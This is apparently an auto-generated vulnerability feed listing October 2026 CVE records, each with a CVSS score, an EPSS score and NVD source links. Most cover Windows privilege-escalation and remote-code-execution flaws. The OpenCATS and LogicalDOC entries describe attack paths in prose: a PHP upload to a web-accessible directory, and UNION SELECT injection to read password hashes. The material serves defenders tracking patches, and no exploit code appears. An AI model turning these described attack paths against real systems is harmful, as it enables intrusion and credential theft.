Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83720).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83720&date=2026-10-25).
Sources:
NVD CVE-2026-83720: https://nvd.nist.gov/vuln/detail/CVE-2026-83720
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83720&date=2026-10-25
Use after free in Windows Kerberos allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83687
Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83687).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83687&date=2026-10-25).
Sources:
NVD CVE-2026-83687: https://nvd.nist.gov/vuln/detail/CVE-2026-83687
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83687&date=2026-10-25
Use after free in Windows Connected User Experiences and Telemetry allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83677
Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83677).
EPSS 1.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83677&date=2026-10-25).
Sources:
NVD CVE-2026-83677: https://nvd.nist.gov/vuln/detail/CVE-2026-83677
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83677&date=2026-10-25
Missing release of memory after effective lifetime in Windows DHCP Client allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83675
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83675).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83675&date=2026-10-25).
Sources:
NVD CVE-2026-83675: https://nvd.nist.gov/vuln/detail/CVE-2026-83675
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83675&date=2026-10-25
Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83645
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83645).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83645&date=2026-10-25).
Sources:
NVD CVE-2026-83645: https://nvd.nist.gov/vuln/detail/CVE-2026-83645
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83645&date=2026-10-25
Allocation of resources without limits or throttling in Active Directory Federation Services (AD FS) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83634
Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83634).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83634&date=2026-10-25).
Sources:
NVD CVE-2026-83634: https://nvd.nist.gov/vuln/detail/CVE-2026-83634
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83634&date=2026-10-25
Double free in Windows BitLocker allows an authorized attacker to elevate privileges locally.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83586
Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83586).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83586&date=2026-10-25).
Sources:
NVD CVE-2026-83586: https://nvd.nist.gov/vuln/detail/CVE-2026-83586
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83586&date=2026-10-25
Weak authentication in Windows Resilient File System (ReFS) Deduplication Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83568
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83568).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83568&date=2026-10-25).
Sources:
NVD CVE-2026-83568: https://nvd.nist.gov/vuln/detail/CVE-2026-83568
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83568&date=2026-10-25
Improper access control in Windows Kernel-Mode Drivers allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-83523
Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83523).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83523&date=2026-10-25).
Sources:
NVD CVE-2026-83523: https://nvd.nist.gov/vuln/detail/CVE-2026-83523
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83523&date=2026-10-25
Heap-based buffer overflow in Windows Image Acquisition allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-83518
Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83518).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83518&date=2026-10-25).
Sources:
NVD CVE-2026-83518: https://nvd.nist.gov/vuln/detail/CVE-2026-83518
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83518&date=2026-10-25
Heap-based buffer overflow in RPC Runtime allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.
https://kevwire.com/record/CVE-2026-83516
Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network. (Oct 13, 2026).
Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.
CVSS 7.5 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-83516).
EPSS 1.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-83516&date=2026-10-25).
Sources:
NVD CVE-2026-83516: https://nvd.nist.gov/vuln/detail/CVE-2026-83516
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-83516&date=2026-10-25
Out-of-bounds read in Windows Local Security Authority Subsystem Service (LSASS) allows an unauthorized attacker to deny service over a network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-81969
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-81969).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-81969&date=2026-10-25).
Sources:
NVD CVE-2026-81969: https://nvd.nist.gov/vuln/detail/CVE-2026-81969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-81969&date=2026-10-25
Insufficient granularity of access control in Windows Server Update Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-72969
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72969).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72969&date=2026-10-25).
Sources:
NVD CVE-2026-72969: https://nvd.nist.gov/vuln/detail/CVE-2026-72969
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72969&date=2026-10-25
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-72955
Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72955).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72955&date=2026-10-25).
Sources:
NVD CVE-2026-72955: https://nvd.nist.gov/vuln/detail/CVE-2026-72955
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72955&date=2026-10-25
Use after free in Windows Application Compatibility Cache allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-72934
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.
CVSS 7.0 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-72934).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-72934&date=2026-10-25).
Sources:
NVD CVE-2026-72934: https://nvd.nist.gov/vuln/detail/CVE-2026-72934
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-72934&date=2026-10-25
Use after free in Windows Program Compatibility Assistant Service allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70343
Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70343).
EPSS 0.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70343&date=2026-10-25).
Sources:
NVD CVE-2026-70343: https://nvd.nist.gov/vuln/detail/CVE-2026-70343
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70343&date=2026-10-25
Heap-based buffer overflow in Microsoft MPEG-2 Video Extension allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70299
Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70299).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70299&date=2026-10-25).
Sources:
NVD CVE-2026-70299: https://nvd.nist.gov/vuln/detail/CVE-2026-70299
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70299&date=2026-10-25
Improper access control in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70297
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network. (Oct 13, 2026).
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70297).
EPSS 1.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70297&date=2026-10-25).
Sources:
NVD CVE-2026-70297: https://nvd.nist.gov/vuln/detail/CVE-2026-70297
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70297&date=2026-10-25
Absolute path traversal in Skype for Business and Microsoft Lync allows an authorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70274
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70274).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70274&date=2026-10-25).
Sources:
NVD CVE-2026-70274: https://nvd.nist.gov/vuln/detail/CVE-2026-70274
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70274&date=2026-10-25
Use after free in Windows Bind Filter Driver allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.
https://kevwire.com/record/CVE-2026-70250
Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network. (Oct 13, 2026).
Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.
CVSS 8.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70250).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70250&date=2026-10-25).
Sources:
NVD CVE-2026-70250: https://nvd.nist.gov/vuln/detail/CVE-2026-70250
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70250&date=2026-10-25
Use after free in Windows DHCP Client allows an unauthorized attacker to execute code over an adjacent network.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
https://kevwire.com/record/CVE-2026-70218
Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally. (Oct 13, 2026).
Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.
CVSS 7.8 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70218).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70218&date=2026-10-25).
Sources:
NVD CVE-2026-70218: https://nvd.nist.gov/vuln/detail/CVE-2026-70218
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70218&date=2026-10-25
Insufficient granularity of access control in Windows StateRepository API allows an authorized attacker to elevate privileges locally.

NVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
https://kevwire.com/record/CVE-2026-70187
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network. (Oct 13, 2026).
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.
CVSS 8.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-70187).
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-70187&date=2026-10-25).
Sources:
NVD CVE-2026-70187: https://nvd.nist.gov/vuln/detail/CVE-2026-70187
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-70187&date=2026-10-25
Use after free in Remote Desktop Gateway Service allows an unauthorized attacker to execute code over a network.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams.
https://kevwire.com/record/CVE-2026-54454
OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. (Oct 13, 2026).
OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. Prior to 0.10.0, the OpenCATS Import module in modules/import/ImportUI.php can preserve an uploaded file's original name for one import data type and place the file in the web-accessible temporary directory. An authenticated user with Import privileges can select the affected import path and upload a PHP file that remains under an attacker-controlled executable filename, and an import error can leave the file on disk. If the temporary directory is served with PHP execution enabled, requesting the staged file can execute arbitrary PHP code with the web server process privileges, exposing or modifying recruiting data and the host system. This issue is fixed in version 0.10.0.
CVSS 9.1 (version 3.1; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-54454).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-54454&date=2026-10-25).
Sources:
NVD CVE-2026-54454: https://nvd.nist.gov/vuln/detail/CVE-2026-54454
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=1000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-54454&date=2026-10-25
OpenCATS is an open-source applicant tracking system and recruitment CRM for staffing agencies and hiring teams. Prior to 0.10.0, the OpenCATS Import module in modules/import/ImportUI.php can preserve an uploaded file's original name for one import data type and place the file in the web-accessible temporary directory. An authenticated user with Import privileges can select the affected import path and upload a PHP file that remains under an attacker-controlled executable filename, and an import error can leave the file on disk. If the temporary directory is served with PHP execution enabled, requesting the staged file can execute arbitrary PHP code with the web server process privileges, exposing or modifying recruiting data and the host system. This issue is fixed in version 0.10.0.

NVD status: Deferred. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of...
https://kevwire.com/record/CVE-2026-109169
LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of... (Oct 12, 2026).
LogicalDOC Community Edition through 9.3 contains a sql injection vulnerability that allows authenticated users to execute crafted SQL via the firstLetter parameter of TagsDataServlet. Low-privileged attackers can inject UNION SELECT statements returned in the XML tag list to read usernames, email addresses and password hashes from ld_user.
CVSS 7.1 (version 4.0; evidence as of Oct 13, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-109169).
